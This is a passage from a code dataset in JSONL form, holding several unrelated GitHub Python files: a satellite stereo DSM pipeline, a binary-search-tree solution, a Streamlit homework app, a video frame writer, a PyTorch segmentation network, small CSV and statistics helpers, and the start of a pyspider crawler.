self.used_conf[INPUTS][\"use_epipolar_a_priori\"]:\n # Use a priori\n dem_mean = self.used_conf[INPUTS][\"terrain_a_priori\"][\n \"dem_mean\"\n ]\n dem_min = self.used_conf[INPUTS][\"terrain_a_priori\"][\"dem_min\"]\n dem_max = self.used_conf[INPUTS][\"terrain_a_priori\"][\"dem_max\"]\n\n else:\n # Use initial elevation if provided, and generate dems\n dem_mean = None\n dem_min = None\n dem_max = None\n\n # Generate MNT from matches\n dem = self.dem_generation_application.run(\n triangulated_matches_list,\n cars_orchestrator.out_dir,\n self.inputs[sens_cst.GEOID],\n )\n dem_mean = dem.attributes[dem_gen_cst.DEM_MEAN_PATH]\n # Generate geometry loader with dem and geoid\n self.geom_plugin_with_dem_and_geoid = (\n sensors_inputs.generate_geometry_plugin_with_dem(\n self.used_conf[GEOMETRY_PLUGIN],\n self.inputs,\n dem=dem_mean,\n )\n )\n dem_min = dem.attributes[dem_gen_cst.DEM_MIN_PATH]\n dem_max = dem.attributes[dem_gen_cst.DEM_MAX_PATH]\n\n # update used configuration with terrain a priori\n sensors_inputs.update_conf(\n self.used_conf,\n dem_mean=dem_mean,\n dem_min=dem_min,\n dem_max=dem_max,\n )\n\n # Define param\n use_global_disp_range = (\n self.dense_matching_app.use_global_disp_range\n )\n\n for pair_key, _, _ in list_sensor_pairs:\n # Geometry plugin with dem will be used for the grid generation\n geom_plugin = self.geom_plugin_with_dem_and_geoid\n if self.used_conf[INPUTS][\"use_epipolar_a_priori\"] is False:\n if self.inputs[sens_cst.INITIAL_ELEVATION] is None:\n # Generate grids with new MNT\n (\n pairs[pair_key][\"new_grid_left\"],\n pairs[pair_key][\"new_grid_right\"],\n ) = self.epipolar_grid_generation_application.run(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n geom_plugin,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n\n # Correct grids with former matches\n # Transform matches to new grids\n new_grid_matches_array = (\n AbstractGeometry.transform_matches_from_grids(\n pairs[pair_key][\"corrected_matches_array\"],\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n pairs[pair_key][\"new_grid_left\"],\n pairs[pair_key][\"new_grid_right\"],\n )\n )\n\n # Estimate grid_correction\n (\n pairs[pair_key][\"grid_correction_coef\"],\n pairs[pair_key][\"corrected_matches_array\"],\n _,\n _,\n _,\n ) = grid_correction.estimate_right_grid_correction(\n new_grid_matches_array,\n pairs[pair_key][\"new_grid_right\"],\n save_matches=(\n self.sparse_mtch_app.get_save_matches()\n ),\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n orchestrator=cars_orchestrator,\n )\n\n # Correct grid right\n\n pairs[pair_key][\"corrected_grid_right\"] = (\n grid_correction.correct_grid(\n pairs[pair_key][\"new_grid_right\"],\n pairs[pair_key][\"grid_correction_coef\"],\n save_corrected_grid,\n pairs[pair_key][\"pair_folder\"],\n )\n )\n\n pairs[pair_key][\"corrected_grid_left\"] = pairs[\n pair_key\n ][\"new_grid_left\"]\n\n # matches filter params\n matches_filter_knn = (\n self.sparse_mtch_app.get_matches_filter_knn()\n )\n matches_filter_dev_factor = (\n self.sparse_mtch_app.get_matches_filter_dev_factor()\n )\n if use_global_disp_range:\n # Triangulate new matches\n pairs[pair_key][\"triangulated_matches\"] = (\n dem_generation_tools.triangulate_sparse_matches(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n pairs[pair_key][\"corrected_matches_array\"],\n geometry_plugin=geom_plugin,\n )\n )\n # filter triangulated_matches\n # Filter outliers\n pairs[pair_key][\"filtered_triangulated_matches\"] = (\n sparse_mtch_tools.filter_point_cloud_matches(\n pairs[pair_key][\"triangulated_matches\"],\n matches_filter_knn=matches_filter_knn,\n matches_filter_dev_factor=(\n matches_filter_dev_factor\n ),\n )\n )\n\n if use_global_disp_range:\n # Compute disp_min and disp_max\n (\n dmin,\n dmax,\n ) = sparse_mtch_tools.compute_disp_min_disp_max(\n pairs[pair_key][\"filtered_triangulated_matches\"],\n cars_orchestrator,\n disp_margin=(\n self.sparse_mtch_app.get_disparity_margin()\n ),\n pair_key=pair_key,\n disp_to_alt_ratio=pairs[pair_key][\n \"corrected_grid_left\"\n ].attributes[\"disp_to_alt_ratio\"],\n )\n else:\n # Use epipolar a priori\n # load the disparity range\n [dmin, dmax] = self.used_conf[INPUTS][\"epipolar_a_priori\"][\n pair_key\n ][\"disparity_range\"]\n # load the grid correction coefficient\n pairs[pair_key][\"grid_correction_coef\"] = self.used_conf[\n INPUTS\n ][\"epipolar_a_priori\"][pair_key][\"grid_correction\"]\n pairs[pair_key][\"corrected_grid_left\"] = pairs[pair_key][\n \"grid_left\"\n ]\n # no correction if the grid correction coefs are None\n if pairs[pair_key][\"grid_correction_coef\"] is None:\n pairs[pair_key][\"corrected_grid_right\"] = pairs[\n pair_key\n ][\"grid_right\"]\n else:\n # Correct grid right with provided epipolar a priori\n pairs[pair_key][\"corrected_grid_right\"] = (\n grid_correction.correct_grid_from_1d(\n pairs[pair_key][\"grid_right\"],\n pairs[pair_key][\"grid_correction_coef\"],\n save_corrected_grid,\n pair_folder,\n )\n )\n\n # Run epipolar resampling\n\n # Update used_conf configuration with epipolar a priori\n # Add global min and max computed with grids\n sensors_inputs.update_conf(\n self.used_conf,\n grid_correction_coef=pairs[pair_key][\n \"grid_correction_coef\"\n ],\n pair_key=pair_key,\n )\n # saved used configuration\n cars_dataset.save_dict(\n self.used_conf,\n os.path.join(out_dir, \"used_conf.json\"),\n safe_save=True,\n )\n\n # Generate min and max disp grids\n # Global disparity min and max will be computed from\n # these grids\n # fmt: off\n if use_global_disp_range:\n # Generate min and max disp grids from constants\n # sensor image is not used here\n # TODO remove when only local diparity range will be used\n disp_range_grid = (\n self.dense_matching_app.generate_disparity_grids(\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_right\"],\n self.geom_plugin_with_dem_and_geoid,\n dmin=dmin,\n dmax=dmax,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n )\n )\n else:\n # Generate min and max disp grids from dems\n disp_range_grid = (\n self.dense_matching_app.generate_disparity_grids(\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_right\"],\n self.geom_plugin_with_dem_and_geoid,\n dem_min=dem_min,\n dem_max=dem_max,\n dem_mean=dem_mean,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n )\n )\n # fmt: on\n\n # Get margins used in dense matching,\n dense_matching_margins_fun = (\n self.dense_matching_app.get_margins_fun(\n pairs[pair_key][\"corrected_grid_left\"], disp_range_grid\n )\n )\n\n # TODO add in content.json max diff max - min\n # Update used_conf configuration with epipolar a priori\n # Add global min and max computed with grids\n sensors_inputs.update_conf(\n self.used_conf,\n dmin=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ), # TODO compute dmin dans dmax\n dmax=np.max(disp_range_grid[0, 0][\"disp_max_grid\"].values),\n pair_key=pair_key,\n )\n # saved used configuration\n cars_dataset.save_dict(\n self.used_conf,\n os.path.join(out_dir, \"used_conf.json\"),\n safe_save=True,\n )\n\n # if sequential mode, apply roi\n epipolar_roi = None\n if (\n cars_orchestrator.cluster.checked_conf_cluster[\"mode\"]\n == \"sequential\"\n ):\n # Generate roi\n epipolar_roi = preprocessing.compute_epipolar_roi(\n self.input_roi_poly,\n self.input_roi_epsg,\n self.geom_plugin_with_dem_and_geoid,\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n pairs[pair_key][\"pair_folder\"],\n disp_min=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ), # TODO compute dmin dans dmax\n disp_max=np.max(\n disp_range_grid[0, 0][\"disp_max_grid\"].values\n ),\n )\n\n # Generate new epipolar images\n # Generated with corrected grids\n # Optimal size is computed for the worst case scenario\n # found with epipolar disparity range grids\n\n (\n optimum_tile_size,\n local_tile_optimal_size_fun,\n ) = self.dense_matching_app.get_optimal_tile_size(\n disp_range_grid,\n cars_orchestrator.cluster.checked_conf_cluster[\n \"max_ram_per_worker\"\n ],\n )\n (\n new_epipolar_image_left,\n new_epipolar_image_right,\n ) = self.resampling_application.run(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n margins_fun=dense_matching_margins_fun,\n optimum_tile_size=optimum_tile_size,\n add_color=True,\n epipolar_roi=epipolar_roi,\n )\n\n # Run epipolar matching application\n epipolar_disparity_map = self.dense_matching_app.run(\n new_epipolar_image_left,\n new_epipolar_image_right,\n local_tile_optimal_size_fun,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n disp_range_grid=disp_range_grid,\n compute_disparity_masks=False,\n disp_to_alt_ratio=pairs[pair_key][\n \"corrected_grid_left\"\n ].attributes[\"disp_to_alt_ratio\"],\n )\n\n # Dense matches filling\n if self.dense_matches_filling_1.used_method == \"plane\":\n # Fill holes in disparity map\n (filled_with_1_epipolar_disparity_map) = (\n self.dense_matches_filling_1.run(\n epipolar_disparity_map,\n pairs[pair_key][\"holes_bbox_left\"],\n pairs[pair_key][\"holes_bbox_right\"],\n disp_min=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ),\n disp_max=np.max(\n disp_range_grid[0, 0][\"disp_max_grid\"].values\n ),\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n )\n else:\n # Fill with zeros\n (filled_with_1_epipolar_disparity_map) = (\n self.dense_matches_filling_1.run(\n epipolar_disparity_map,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n )\n\n if self.dense_matches_filling_2.used_method == \"plane\":\n # Fill holes in disparity map\n (filled_with_2_epipolar_disparity_map) = (\n self.dense_matches_filling_2.run(\n filled_with_1_epipolar_disparity_map,\n pairs[pair_key][\"holes_bbox_left\"],\n pairs[pair_key][\"holes_bbox_right\"],\n disp_min=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ),\n disp_max=np.max(\n disp_range_grid[0, 0][\"disp_max_grid\"].values\n ),\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n )\n else:\n # Fill with zeros\n (filled_with_2_epipolar_disparity_map) = (\n self.dense_matches_filling_2.run(\n filled_with_1_epipolar_disparity_map,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n )\n\n if epsg is None:\n # compute epsg\n # Epsg uses global disparity min and max\n epsg = preprocessing.compute_epsg(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n self.geom_plugin_with_dem_and_geoid,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n disp_min=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ),\n disp_max=np.max(\n disp_range_grid[0, 0][\"disp_max_grid\"].values\n ),\n )\n # Compute roi polygon, in input EPSG\n roi_poly = preprocessing.compute_roi_poly(\n self.input_roi_poly, self.input_roi_epsg, epsg\n )\n\n # Run epipolar triangulation application\n epipolar_points_cloud = self.triangulation_application.run(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n new_epipolar_image_left,\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n filled_with_2_epipolar_disparity_map,\n epsg,\n self.geom_plugin_without_dem_and_geoid,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n uncorrected_grid_right=pairs[pair_key][\"grid_right\"],\n geoid_path=self.inputs[sens_cst.GEOID],\n )\n\n if self.generate_terrain_products:\n # Compute terrain bounding box /roi related to\n # current images\n (current_terrain_roi_bbox) = (\n preprocessing.compute_terrain_bbox(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n new_epipolar_image_left,\n pairs[pair_key][\"corrected_grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n epsg,\n self.geom_plugin_with_dem_and_geoid,\n resolution=(\n self.rasterization_application.get_resolution()\n ),\n disp_min=np.min(\n disp_range_grid[0, 0][\"disp_min_grid\"].values\n ),\n disp_max=np.max(\n disp_range_grid[0, 0][\"disp_max_grid\"].values\n ),\n roi_poly=(\n None if self.debug_with_roi else roi_poly\n ),\n orchestrator=cars_orchestrator,\n pair_key=pair_key,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n check_inputs=self.inputs[sens_cst.CHECK_INPUTS],\n )\n )\n list_terrain_roi.append(current_terrain_roi_bbox)\n\n # add pair key\n epipolar_points_cloud.attributes[\"source_pc_name\"] = pair_key\n # add color type\n epipolar_points_cloud.attributes[\"color_type\"] = (\n new_epipolar_image_left.attributes[\"color_type\"]\n )\n\n # add points cloud to list\n list_epipolar_points_cloud.append(epipolar_points_cloud)\n\n if self.generate_terrain_products:\n # compute terrain bounds\n (\n terrain_bounds,\n optimal_terrain_tile_width,\n ) = preprocessing.compute_terrain_bounds(\n list_terrain_roi,\n roi_poly=(None if self.debug_with_roi else roi_poly),\n resolution=self.rasterization_application.get_resolution(),\n )\n\n # Merge point clouds\n merged_points_clouds = self.pc_fusion_application.run(\n list_epipolar_points_cloud,\n terrain_bounds,\n epsg,\n orchestrator=cars_orchestrator,\n margins=(\n self.pc_outliers_removing_1_app.get_on_ground_margin(\n resolution=(\n self.rasterization_application.get_resolution()\n )\n )\n + self.pc_outliers_removing_2_app.get_on_ground_margin(\n resolution=(\n self.rasterization_application.get_resolution()\n )\n )\n + self.rasterization_application.get_margins()\n ),\n optimal_terrain_tile_width=optimal_terrain_tile_width,\n roi=(roi_poly if self.debug_with_roi else None),\n )\n\n # Add pair names to retrieve source pair of each point\n pairs_names = [\n pair_name for pair_name, _, _ in list_sensor_pairs\n ]\n merged_points_clouds.attributes[\"source_pc_names\"] = pairs_names\n\n # Remove outliers with small components method\n filtered_1_merged_points_clouds = (\n self.pc_outliers_removing_1_app.run(\n merged_points_clouds,\n orchestrator=cars_orchestrator,\n )\n )\n\n # Remove outliers with statistical components method\n filtered_2_merged_points_clouds = (\n self.pc_outliers_removing_2_app.run(\n filtered_1_merged_points_clouds,\n orchestrator=cars_orchestrator,\n )\n )\n\n # rasterize point cloud\n _ = self.rasterization_application.run(\n filtered_2_merged_points_clouds,\n epsg,\n orchestrator=cars_orchestrator,\n dsm_file_name=os.path.join(\n out_dir, self.output[sens_cst.DSM_BASENAME]\n ),\n color_file_name=os.path.join(\n out_dir, self.output[sens_cst.CLR_BASENAME]\n ),\n color_dtype=list_epipolar_points_cloud[0].attributes[\n \"color_type\"\n ],\n )\n","repo_name":"CNES/cars","sub_path":"cars/pipelines/sensor_to_dense_dsm/sensor_to_dense_dsm_pipeline.py","file_name":"sensor_to_dense_dsm_pipeline.py","file_ext":"py","file_size_in_byte":52206,"program_lang":"python","lang":"en","doc_type":"code","stars":202,"dataset":"github-code","pt":"61"} +{"seq_id":"14750605896","text":"\"\"\"\nSearch in a Binary Search Tree- https://leetcode.com/problems/search-in-a-binary-search-tree/\nYou are given the root of a binary search tree (BST) and an integer val.\nFind the node in the BST that the node's value equals val and return the subtree rooted with that node. If such a node does not exist, return null\n\nInput: root = [4,2,7,1,3], val = 2\nOutput: [2,1,3]\n\nAverage: Time| O(log(n)) Space| O(log(n))\nWorst: Time | O(n) Space| O(n)\n\n\"\"\"\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def searchBST(self, root: Optional[TreeNode], val: int) -> Optional[TreeNode]:\n current_node = root\n while current_node != None:\n if current_node.val == val:\n return current_node\n elif current_node.val < val:\n current_node = current_node.right\n else:\n current_node = current_node.left\n return None\n","repo_name":"dianavlw/algostudy","sub_path":"SearchInABinarySearchTree.py","file_name":"SearchInABinarySearchTree.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8923530519","text":"import streamlit as st\nimport random\nimport altair as alt\nimport numpy as np\nimport pandas as pd\n\nst.title (\"Abey T. Dessie - DSBA 5122\")\nst.header('Homework 1')\n\nst.subheader('Question 1')\n\nx_limit = 100\n\n# List of values from 0 to 100 each value being 1 greater than the last\nx_axis = np.arange(0, 100, 1)\n\n# Create a random array of data that we will use for our y values\ny_data = np.random.uniform(low=0.1, high=0.9, size=(100,))\n\ndf = pd.DataFrame({'x': x_axis,'y': y_data})\n\nst.write(df)\n\nst.subheader('Question 2')\n\nscatter = alt.Chart(df).mark_point().encode(x='x',y='y')\nst.altair_chart(scatter, use_container_width=True)\n\nst.subheader('Question 3')\n\nscatter = alt.Chart(df, title=\"Scatter Plot Demonstration\").mark_point().encode(x='x',y='y', color='y', size = 'x').configure_axis(\n labelFontSize=16,titleFontSize=16).configure_title(fontSize=28).configure(background='#DDEEFF')\nst.altair_chart(scatter, use_container_width=True)\n\nst.markdown(\"\"\"\nThe 5 changes I made were:\n- Change 1: Added a title to the scatterplot \n- Change 2: Adjusted color to correspond to y-axis values \n- Change 3: Adjusted size to correspond to y-axis values\n- Change 4: Adjusted font size for axis labels & chart title \n- Change 5: Adjusted background color of scatter plot\n\"\"\")\n\nst.subheader('Question 4 - HW Example')\n\nsource = pd.read_json('imdb.json')\nst.write(source)\n\nbar = alt.Chart(source).mark_bar(color='#03cffc').encode(\n alt.X(\"IMDB_Rating:Q\", bin=True, title=\"IMDB Rating\"),\n alt.Y('count()',title=\"Records\")\n)\n\nst.altair_chart(bar, use_container_width=True)\n","repo_name":"atd-clt/my_first_streamlit_app","sub_path":"ap.py","file_name":"ap.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10481772196","text":"import cv2\nimport numpy as np\nfrom PIL import Image\nimport ffmpy\nimport sys\nimport os\n\n\ndef get_frames(vid):\n frames = []\n counter = 0\n while vid.isOpened():\n ret, frame = vid.read()\n if not ret:\n print(\"Stream End - Exiting \\n\")\n break\n # cv2.imshow('frame',frame)\n frames.append(frame)\n return frames\n\n\ndef main():\n input = sys.argv[1]\n output_file = sys.argv[2]\n vid = cv2.VideoCapture(input)\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n avi_file_name = f'{output_file}.avi'\n\n # Get the height and width\n w = vid.get(cv2.CAP_PROP_FRAME_WIDTH)\n h = vid.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n out = cv2.VideoWriter(avi_file_name, fourcc, 20.0, (int(w),int(h)))\n frames = get_frames(vid)\n\n for frame in frames:\n out.write(frame)\n out.release()\n vid.release()\n cv2.destroyAllWindows()\n\n output_file_name = f'{output_file}.mp4'\n print(\"Creating mp4\\n\\n\")\n if os.path.exists(output_file_name):\n os.remove(output_file_name)\n ff = ffmpy.FFmpeg(\n inputs={avi_file_name: None},\n outputs={output_file_name: None}\n )\n ff.run()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"bekkblando/computer_vision","sub_path":"assignment4/mp4_gen.py","file_name":"mp4_gen.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70131708035","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torchvision import models\nimport os\nfrom math import floor\nimport yaml\nimport tqdm\nimport numpy as np\n\nfrom util.setup import load_args\nargs = load_args(os.getcwd())\npretrained_dir = args.paths[\"pretrained_models_path\"]\n\n\nclass _GlobalConvModule(nn.Module):\n\tdef __init__(self, in_dim, out_dim, kernel_size):\n\t\tsuper(_GlobalConvModule, self).__init__()\n\n\t\tpad0 = floor((kernel_size[0] - 1) / 2)\n\t\tpad1 = floor((kernel_size[1] - 1) / 2)\n\n\t\tself.conv_l1 = nn.Conv2d(in_dim, out_dim, kernel_size=(kernel_size[0], 1), padding=(pad0, 0))\n\t\tself.conv_l2 = nn.Conv2d(out_dim, out_dim, kernel_size=(1, kernel_size[1]), padding=(0, pad1))\n\t\tself.conv_r1 = nn.Conv2d(in_dim, out_dim, kernel_size=(1, kernel_size[1]), padding=(0, pad1))\n\t\tself.conv_r2 = nn.Conv2d(out_dim, out_dim, kernel_size=(kernel_size[0], 1), padding=(pad0, 0))\n\n\tdef forward(self, x):\n\t\tx_l = self.conv_l1(x)\n\t\tx_l = self.conv_l2(x_l)\n\t\tx_r = self.conv_r1(x)\n\t\tx_r = self.conv_r2(x_r)\n\t\tx = x_l + x_r\n\t\treturn x\n\nclass _BoundaryRefineModule(nn.Module):\n\tdef __init__(self, dim):\n\t\tsuper(_BoundaryRefineModule, self).__init__()\n\t\tself.relu = nn.ReLU(inplace=True)\n\t\tself.conv1 = nn.Conv2d(dim, dim, kernel_size=3, padding=1)\n\t\tself.conv2 = nn.Conv2d(dim, dim, kernel_size=3, padding=1)\n\n\tdef forward(self, x):\n\t\tresidual = self.conv1(x)\n\t\tresidual = self.relu(residual)\n\t\tresidual = self.conv2(residual)\n\t\tout = x + residual\n\t\treturn out\n\nclass _PyramidPoolingModule(nn.Module):\n\tdef __init__(self, in_channels, down_channels, out_size, levels=(1, 2, 3, 6)):\n\t\tsuper(_PyramidPoolingModule, self).__init__()\n\n\t\tself.out_channels = len(levels) * down_channels\n\n\t\tself.layers = nn.ModuleList()\n\t\tfor level in levels:\n\t\t\tself.layers.append(nn.Sequential(\n\t\t\t\tnn.AdaptiveAvgPool2d(level),\n\t\t\t\tnn.Conv2d(in_channels, down_channels, kernel_size=1, padding=0, bias=False),\n\t\t\t\tnn.BatchNorm2d(down_channels),\n\t\t\t\tnn.ReLU(inplace=True),\n\t\t\t\tnn.Upsample(size=out_size, mode='bilinear')\n\t\t\t))\n\n\tdef forward(self, x):\n\t\t\n\t\tfeatures = [layer(x) for layer in self.layers]\n\t\tout = torch.cat(features, 1)\n\n\t\treturn out\n\nclass _LearnedBilinearDeconvModule(nn.Module):\n\tdef __init__(self, channels):\n\t\tsuper(_LearnedBilinearDeconvModule, self).__init__()\n\t\tself.deconv = nn.ConvTranspose2d(channels, channels, kernel_size=4, stride=2, padding=1)\n\t\tself.deconv.weight.data = self.make_bilinear_weights(4, channels)\n\t\tself.deconv.bias.data.zero_()\n\n\tdef forward(self, x):\n\t\tout = self.deconv(x)\n\t\treturn out\n\n\tdef make_bilinear_weights(self, size, num_channels):\n\t\tfactor = (size + 1) // 2\n\t\tif size % 2 == 1:\n\t\t\tcenter = factor - 1\n\t\telse:\n\t\t\tcenter = factor - 0.5\n\t\tog = np.ogrid[:size, :size]\n\t\tfilt = (1 - abs(og[0] - center) / factor) * (1 - abs(og[1] - center) / factor)\n\t\tfilt = torch.from_numpy(filt)\n\t\tw = torch.zeros(num_channels, num_channels, size, size)\n\t\tfor i in range(num_channels):\n\t\t\tw[i, i] = filt\n\t\treturn w\n\nclass GCN_COMBINED(nn.Module):\n\tdef __init__(self, num_classes, input_size, k=7):\n\t\tsuper(GCN_COMBINED, self).__init__()\n\n\t\tself.K = k\n\t\tself.input_size = input_size\n\n\t\tdense161_path = os.path.join(pretrained_dir, 'densenet161.pth')\n\n\t\tdensenet = models.densenet161()\n\t\tdensenet.load_state_dict(torch.load(dense161_path))\n\n\t\tself.layer0 = nn.Sequential(\n\t\t\tdensenet.features.conv0,\n\t\t\tdensenet.features.norm0,\n\t\t\tdensenet.features.relu0,\n\t\t)\n\n\t\tself.layer1 = nn.Sequential(\n\t\t\tdensenet.features.pool0,\n\t\t\tdensenet.features.denseblock1,\n\t\t)\n\n\t\tself.layer2 = nn.Sequential(\n\t\t\tdensenet.features.transition1,\n\t\t\tdensenet.features.denseblock2,\n\t\t)\n\n\t\tself.layer3 = nn.Sequential(\n\t\t\tdensenet.features.transition2,\n\t\t\tdensenet.features.denseblock3,\n\t\t)\n\n\t\tself.layer4 = nn.Sequential(\n\t\t\tdensenet.features.transition3,\n\t\t\tdensenet.features.denseblock4,\n\t\t)\n\n\t\tself.gcm1 = _GlobalConvModule(2208, num_classes, (self.K, self.K))\n\t\tself.gcm2 = _GlobalConvModule(2112, num_classes, (self.K, self.K))\n\t\tself.gcm3 = _GlobalConvModule(768, num_classes, (self.K, self.K))\n\t\tself.gcm4 = _GlobalConvModule(384, num_classes, (self.K, self.K))\n\n\t\tself.brm1 = _BoundaryRefineModule(num_classes)\n\t\tself.brm2 = _BoundaryRefineModule(num_classes)\n\t\tself.brm3 = _BoundaryRefineModule(num_classes)\n\t\tself.brm4 = _BoundaryRefineModule(num_classes)\n\t\tself.brm5 = _BoundaryRefineModule(num_classes)\n\t\tself.brm6 = _BoundaryRefineModule(num_classes)\n\t\tself.brm7 = _BoundaryRefineModule(num_classes)\n\t\tself.brm8 = _BoundaryRefineModule(num_classes)\n\t\tself.brm9 = _BoundaryRefineModule(num_classes)\n\n\t\tself.deconv = _LearnedBilinearDeconvModule(num_classes)\n\n\t\tself.psp = _PyramidPoolingModule(num_classes, 12, input_size, levels=(1, 2, 3, 6, 9))\n\t\tself.final = nn.Sequential(\n\t\t\tnn.Conv2d(num_classes + self.psp.out_channels, num_classes, kernel_size=3, padding=1),\n\t\t\tnn.BatchNorm2d(num_classes),\n\t\t\tnn.ReLU(inplace=True),\n\t\t\tnn.Conv2d(num_classes, num_classes, kernel_size=1, padding=0)\n\t\t)\n\n\t\tinitialize_weights(self.gcm1, self.gcm2, self.gcm3, self.gcm4, self.brm1, self.brm2, self.brm3,\n\t\t\t\t\tself.brm4, self.brm5, self.brm6, self.brm7, self.brm8, self.brm9)\n\n\t\tinitialize_weights(self.psp, self.final)\n\n\tdef forward(self, x):\n\t\tfm0 = self.layer0(x)\n\t\tfm1 = self.layer1(fm0)\n\t\tfm2 = self.layer2(fm1)\n\t\tfm3 = self.layer3(fm2)\n\t\tfm4 = self.layer4(fm3)\n\n\t\tgcfm1 = self.brm1(self.gcm1(fm4))\n\t\tgcfm2 = self.brm2(self.gcm2(fm3))\n\t\tgcfm3 = self.brm3(self.gcm3(fm2))\n\t\tgcfm4 = self.brm4(self.gcm4(fm1))\n\n\t\tfs1 = self.brm5(self.deconv(gcfm1) + gcfm2)\n\t\tfs2 = self.brm6(self.deconv(fs1) + gcfm3)\n\t\tfs3 = self.brm7(self.deconv(fs2) + gcfm4)\n\t\tfs4 = self.brm8(self.deconv(fs3))\n\t\tfs5 = self.brm9(self.deconv(fs4))\n\n\t\tppm = torch.cat([self.psp(fs5), fs5], 1)\n\t\tout = self.final(ppm)\n\n\t\treturn out\n\n\ndef initialize_weights(*models):\n\tfor model in models:\n\t\tfor module in model.modules():\n\t\t\tif isinstance(module, nn.Conv2d) or isinstance(module, nn.Linear):\n\t\t\t\tnn.init.kaiming_normal(module.weight)\n\t\t\t\tif module.bias is not None:\n\t\t\t\t\tmodule.bias.data.zero_()\n\t\t\telif isinstance(module, nn.BatchNorm2d):\n\t\t\t\tmodule.weight.data.fill_(1)\n\t\t\t\tmodule.bias.data.zero_()\n","repo_name":"flixpar/VisDa","sub_path":"models/gcn_comb.py","file_name":"gcn_comb.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11284161602","text":"import csv\n\n\ndef get_txtfile(filepath):\n\tfileHandler = open (filepath, \"r\")\n\t# Get list of all lines in file\n\tlistOfLines = fileHandler.readlines()\n\t# Close file\n\tfileHandler.close()\n\treturn listOfLines\n\n\ndef get_txtLineNum(filepath):\n\treturn len(open(filepath, 'r').readlines())\n\n\ndef csv_write(filepath,header,datas):\n\twith open(filepath, 'w', newline='', encoding='utf-8') as f:\n\t\twriter = csv.DictWriter(f, fieldnames=header) # 提前预览列名,当下面代码写入数据时,会将其一一对应。\n\t\twriter.writeheader() # 写入列名\n\t\twriter.writerows(datas) # 写入数据\n\n\ndef harmonic_mean(data): # 计算调和平均数\n\ttotal = 0\n\tfor i in data:\n\t\tif i == 0: # 处理包含0的情况\n\t\t\treturn 0\n\t\ttotal += 1 / i\n\treturn len(data) / total","repo_name":"ww-1009/2023MCM_C","sub_path":"python/Tool.py","file_name":"Tool.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22985761011","text":"#! /usr/bin/env/python\n# -*- coding:utf-8 -*-\n'''\n@version: python3.5\n@author: Liyi\n'''\n\n#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# Created on 2017-11-23 20:45:36\n# Project: huodongxing\n\nfrom pyspider.libs.base_handler import *\n\nfrom urllib.parse import quote\ncities = ('北京', '上海', '深圳', '杭州')\n\nclass Handler(BaseHandler):\n crawl_config = {\n 'headers': {\n 'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; 